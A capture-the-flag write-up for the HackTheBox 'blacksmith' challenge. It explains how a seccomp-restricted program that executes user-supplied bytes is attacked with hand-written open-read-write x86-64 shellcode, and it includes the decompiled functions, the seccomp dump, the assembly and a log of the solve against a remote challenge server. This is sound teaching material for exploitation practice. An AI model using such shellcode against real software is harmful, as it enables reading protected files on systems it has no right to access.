Blacksmith
8 minutes to read
We are given a 64-bit binary called blacksmith:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
If we open it in Ghidra, we will see this main function:
void main() {
size_t length;
long in_FS_OFFSET;
int answer;
int option;
char *message_1;
char *message_2;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setup();
message_1 = "You are worthy to carry this Divine Weapon and bring peace to our homeland!\n";
message_2 = "This in not a weapon! Do not try to mock me!\n";
puts("Traveler, I need some materials to fuse in order to create something really powerful!");
printf("Do you have the materials I need to craft the Ultimate Weapon?\n1. Yes, everything is here! \n2. No, I did not manage to bring them all!\n> ");
__isoc99_scanf("%d", &answer);
if (answer != 1) {
puts("Farewell traveler! Come back when you have all the materials!");
/* WARNING: Subroutine does not return */
exit(0x22);
}
printf(&menu);
__isoc99_scanf("%d", &option);
sec();
if (option == 1) {
sword();
} else if (option == 2) {
shield();
} else if (option == 3) {
bow();
} else {
length = strlen(message_2);
write(1, message_2, length);
/* WARNING: Subroutine does not return */
exit(0x105);
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
It shows a menu with some options:
$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 2
Farewell traveler! Come back when you have all the materials!
$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 1
This sword can cut through anything! The only thing is, that it is too heavy carry it..
zsh: invalid system call ./blacksmith
$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 3
This bow's range is the best!
Too bad you do not have enough materials to craft some arrows too..
zsh: invalid system call ./blacksmith
$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 2
Excellent choice! This luminous shield is empowered with Sun's light! ☀
It will protect you from any attack and it can reflect enemies attacks back!
Do you like your new weapon?
> yes
zsh: segmentation fault ./blacksmith
The only option where we can enter data is shield (option 2):
void shield() {
size_t length;
long in_FS_OFFSET;
undefined shellcode [72];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
length = strlen(message);
write(1, message, length);
length = strlen("Do you like your new weapon?\n> ");
write(1, "Do you like your new weapon?\n> ", length);
read(0, shellcode, 63);
(*(code *) shellcode)();
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Basically, we have the chance to enter machine code instructions that will be executed. We can enter up to 63 bytes. However, we are limited by sec, which implements some seccomp rules to allow specific syscall instructions:
void sec() {
undefined8 rules;
long in_FS_OFFSET;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
prctl(0x26, 1);
prctl(4, 0);
rules = seccomp_init(0);
seccomp_rule_add(rules, 0x7fff0000, 2, 0);
seccomp_rule_add(rules, 0x7fff0000, 0, 0);
seccomp_rule_add(rules, 0x7fff0000, 1, 0);
seccomp_rule_add(rules, 0x7fff0000, 0x3c, 0);
seccomp_load(rules);
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
In order to enumerate these seccomp rules, we can use seccomp-tools:
$ seccomp-tools dump ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 2
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
So, we are allowed to use sys_read, sys_write, sys_open and sys_exit. There are quite a few websites that list all Linux x86_64 syscall instructions with the needed parameters and register configuration. For example, this one.
With the allowed syscall instructions, we can open the flag file (flag.txt) with sys_open, read the file descriptor with sys_read and write the output into the stdout file descriptor with sys_write. Additionally, we can exit with sys_exit.
So, sys_open needs the following register setup:
$rax = 2$rdihas a pointer to the filename string$rsihas some flags$rdxhas the mode of operation (this one can be omitted)
Specifically, we can go to man7.org and learn more about the meaning of the parameters:
int open(const char *pathname, int flags);
Once we have sys_open set, we will receive the file descriptor of the flag file as the return value in $rax. It will be the time to use sys_read:
$rax = 0$rdihas the file descriptor (the one returned bysys_open)$rsihas the address where to store the read data$rdxhas the count of bytes to read (for example,100)
ssize_t read(int fd, void *buf, size_t count);
Finally, we will write the above contents to stdout using sys_write:
$rax = 1$rdihas the file descriptor (1forstdout)$rsihas the address where to get the data$rdxhas the count of bytes to write (for example,100)
ssize_t write(int fd, const void *buf, size_t count);
For people that have not written any assembly, it might be useful to write a C program with the above setup, compile it and analyze the generated assembly instructions:
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
void main() {
int fd;
char data[256];
fd = open("./flag.txt", O_RDONLY);
read(fd, data, 100);
write(1, data, 100);
exit(0);
}
$ gcc test.c -O3 -o test
test.c: In function ‘main’:
test.c:10:2: warning: ignoring return value of ‘read’, declared with attribute warn_unused_result [-Wunused-result]
10 | read(fd, data, 100);
| ^~~~~~~~~~~~~~~~~~~
test.c:11:2: warning: ignoring return value of ‘write’, declared with attribute warn_unused_result [-Wunused-result]
11 | write(1, data, 100);
| ^~~~~~~~~~~~~~~~~~~
$ ./test
HTB{f4k3_fl4g_f0r_t3st1ng}
This is the generated assembly code (optimized due to -O3 flag in gcc). This is known as open-read-write shellcode:
$ objdump -M intel --disassemble=main test
test: file format elf64-x86-64
Disassembly of section .init:
Disassembly of section .plt:
Disassembly of section .plt.got:
Disassembly of section .plt.sec:
Disassembly of section .text:
00000000000010c0 <main>:
10c0: f3 0f 1e fa endbr64
10c4: 55 push rbp
10c5: 31 f6 xor esi,esi
10c7: 48 8d 3d 36 0f 00 00 lea rdi,[rip+0xf36] # 2004 <_IO_stdin_used+0x4>
10ce: 48 81 ec 10 01 00 00 sub rsp,0x110
10d5: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
10dc: 00 00
10de: 48 89 84 24 08 01 00 mov QWORD PTR [rsp+0x108],rax
10e5: 00
10e6: 31 c0 xor eax,eax
10e8: 48 89 e5 mov rbp,rsp
10eb: e8 b0 ff ff ff call 10a0 <open@plt>
10f0: ba 64 00 00 00 mov edx,0x64
10f5: 48 89 ee mov rsi,rbp
10f8: 89 c7 mov edi,eax
10fa: e8 91 ff ff ff call 1090 <read@plt>
10ff: bf 01 00 00 00 mov edi,0x1
1104: ba 64 00 00 00 mov edx,0x64
1109: 48 89 ee mov rsi,rbp
110c: e8 6f ff ff ff call 1080 <write@plt>
1111: 31 ff xor edi,edi
1113: e8 98 ff ff ff call 10b0 <exit@plt>
Disassembly of section .fini:
This is great, but let’s do the same with syscall instructions:
push rsi
mov rdi, 'flag.txt' # as hexadecimal number
push rdi
mov rdi, rsp
mov al, 2
syscall
mov dl, 0x64
mov rsi, rsp
xor edi, eax
xor al, al
syscall
mov al, 1
mov rdi, rax
syscall
mov al, 0x3c
syscall
Notice how I set $rdi to the pointer to "flag.txt\0", and also how the registers for sys_write are still configured from the previous sys_read. I also optimized a bit the use of registers so that the generated shellcode is shorter.
If we enter the above shellcode in the blacksmith program, we will get the flag:
$ python3 solve.py 134.209.26.70:31965
[*] './blacksmith'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Opening connection to 134.209.26.70 on port 31965: Done
[+] HTB{s3cc0mp_1s_t00_s3cur3}
[*] Closed connection to 134.209.26.70 port 31965
The full exploit can be found in here: solve.py.